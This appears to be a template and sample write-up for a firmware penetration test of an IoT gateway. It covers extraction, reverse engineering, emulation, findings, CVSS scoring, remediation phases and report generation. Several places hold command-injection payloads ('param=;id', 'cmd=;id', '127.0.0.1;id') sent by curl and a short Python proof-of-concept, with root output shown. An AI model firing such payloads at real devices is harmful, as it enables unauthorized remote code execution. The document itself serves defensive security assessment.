Firmware Security Reports

# Fill in template placeholders:
[CLIENT_NAME] → Acme Corporation
[PRODUCT_NAME] → IoT Gateway Pro
[FIRMWARE_VERSION] → v2.3.1
[ARCHITECTURE] → ARM Cortex-A9
etc.

# Add findings from analysis:
FW-001: Remote Command Injection
FW-002: Hardcoded Cryptographic Keys
FW-003: MD5 Password Hashing

# Create one file per finding:
FW-001-command-injection.md
FW-002-hardcoded-keys.md
FW-003-weak-hashing.md

# Compile into main report

# Update daily during assessment
# Track progress and findings
# Reference when writing final report
# Internal documentation only (not for client)

# 1. Extract firmware
binwalk -e firmware.bin

# 2. Static analysis
readelf -h binary
strings binary | grep password

# 3. Ghidra RE (set GHIDRA_INSTALL_DIR/GHIDRA_SCRIPT_DIR as in ghidra-re)
"$GHIDRA_INSTALL_DIR/support/analyzeHeadless" /proj Firmware -scriptPath "$GHIDRA_SCRIPT_DIR" -import binary \
  -postScript find_auth_functions.py \
  -postScript find_buffer_overflows.py

# 4. Emulation & testing
qemu-arm -L ./rootfs/ ./binary
curl -X POST http://192.168.1.1/vuln.cgi -d "param=;id"

# 5. Document in working notes

cp assets/finding_template.md findings/FW-001-command-injection.md

## FW-001: Remote Command Injection in Diagnostic Interface

**Severity:** Critical
**CVSS v3.1 Score:** 9.8 (Critical)
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Affected Component:** /cgi-bin/diagnostic.cgi
**Location:** /www/cgi-bin/diagnostic.cgi, line 42

### Description

The diagnostic.cgi script accepts a 'target' parameter for network ping
functionality. User input is passed directly to system() without validation,
allowing arbitrary command execution.

[Continue filling template...]

Remote command injection, no auth:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8

#!/usr/bin/env python3
import requests

target = "http://192.168.1.1"
payload = {"target": "127.0.0.1;id"}

r = requests.post(f"{target}/cgi-bin/diagnostic.cgi", data=payload)
print(r.text)  # uid=0(root)

mkdir -p evidence/
# Screenshot exploitation
# Save PCAP
tcpdump -i tap0 -w evidence/fw-001-exploit.pcap
# Save exploit script
cp exploit.py evidence/fw-001-exploit.py

cp assets/pentest_report_template.md final_report.md

**Client:** Acme Corporation
**Product:** IoT Gateway Pro
**Firmware Version:** v2.3.1
**Assessment Period:** January 1-15, 2024
**Report Date:** January 20, 2024
**Assessed By:** [Your Name]

**Critical Issues:** 2
**High Severity:** 3
**Medium Severity:** 5
**Low Severity:** 2
**Informational:** 1

| ID | Title | Severity | CVSS |
|----|-------|----------|------|
| FW-001 | Remote Command Injection | Critical | 9.8 |
| FW-002 | Authentication Bypass | Critical | 9.1 |
| FW-003 | Hardcoded Crypto Keys | High | 7.5 |

# Copy full finding details from FW-001-command-injection.md
# Paste into Findings section
# Repeat for each finding

### Architecture Analysis
- ARM Cortex-A9 (32-bit, little-endian)
- Entry Point: 0x00400000
- Base Address: 0x00400000

### Security Mitigations
| Mitigation | Status | Notes |
|------------|--------|-------|
| PIE | No | Example ET_EXEC executable |
| ASLR | Not tested | Verify runtime policy and mappings |
| Stack Canaries | Enabled | Present in httpd |
| NX Stack | Enabled | Non-executable stack |

### Network Services
- Port 23/tcp: Telnet (CRITICAL - enabled by default)
- Port 80/tcp: HTTP (Multiple vulnerabilities)
- Port 443/tcp: HTTPS (Self-signed certificate)

### Phase 1: Critical Issues (0-30 days)
1. Disable telnet service
2. Patch command injection (FW-001, FW-004)
3. Fix authentication bypass (FW-002)
4. Remove default credentials

### Phase 2: High Severity (30-60 days)
1. Replace hardcoded keys
2. Implement input validation framework
3. Build supported executables as PIE and verify runtime ASLR

# Read pdf skill for conversion
# Convert markdown to professional PDF

pandoc final_report.md -o final_report.pdf \
  --pdf-engine=xelatex \
  --toc \
  --number-sections \
  -V geometry:margin=1in \
  --highlight-style=tango

## Filesystem Analysis

**Root Filesystem:** SquashFS (extracted at offset 0x40000)
**Filesystems Found:**
- 0x0 - TRX header
- 0x1C - LZMA compressed kernel
- 0x40000 - SquashFS root filesystem
- 0x2C0000 - JFFS2 configuration partition

**Extraction Method:** binwalk -e firmware.bin
**Total Files Extracted:** 1,247

## Binary Security Analysis

**Binaries Analyzed:** 15 (in /usr/sbin/)

**Key Findings:**
- /usr/sbin/httpd: No PIE, stack canaries present
- /usr/sbin/telnetd: No security mitigations
- /usr/lib/libcrypto.so: AES implementation uses OpenSSL 1.0.2k

**Architecture:** ARM 32-bit, little-endian
**Calling Convention:** ARM EABI

## Reverse Engineering Findings

**Authentication Function Analysis:**

Function: `check_password` at 0x00401234
- Uses strcmp(); assess whether a remotely measurable secret-dependent timing difference exists
- Rate limiting and empty-password acceptance require separate verification; the snippet alone does not establish them

Decompiled code:
```c
int check_password(char *username, char *password) {
    char stored_hash[32];
    load_user_hash(username, stored_hash);
    
    if (strcmp(password_hash(password), stored_hash) == 0) {
        return AUTH_SUCCESS;
    }
    return AUTH_FAIL;
}
```

**Cryptographic Analysis:**
- AES S-box found at 0x0040A000
- MD5 constants in auth_daemon
- Hardcoded key: `0x0123456789ABCDEF0123456789ABCDEF`

## Dynamic Analysis Results

**Emulation Environment:**
- QEMU system-mode (ARM versatilepb)
- Kernel: Extracted from firmware (Linux 4.9.118)
- Network: TAP interface (192.168.100.1/24)

**Runtime Behavior:**
- Firmware boots successfully in 45 seconds
- All services start automatically
- Debug logging enabled (sensitive data in logs)

**Network Traffic Analysis:**
```
tcpdump capture: evidence/network_traffic.pcap
Key findings:
- Cleartext credentials in HTTP POST
- No TLS for admin interface
- API keys in HTTP headers: X-API-Key: 0x123456...
```

**Exploitation:**
```bash
# Successful RCE via command injection
$ curl -X POST http://192.168.100.2/cgi-bin/admin.cgi \
  -d "cmd=;id"

Response: uid=0(root) gid=0(root)
```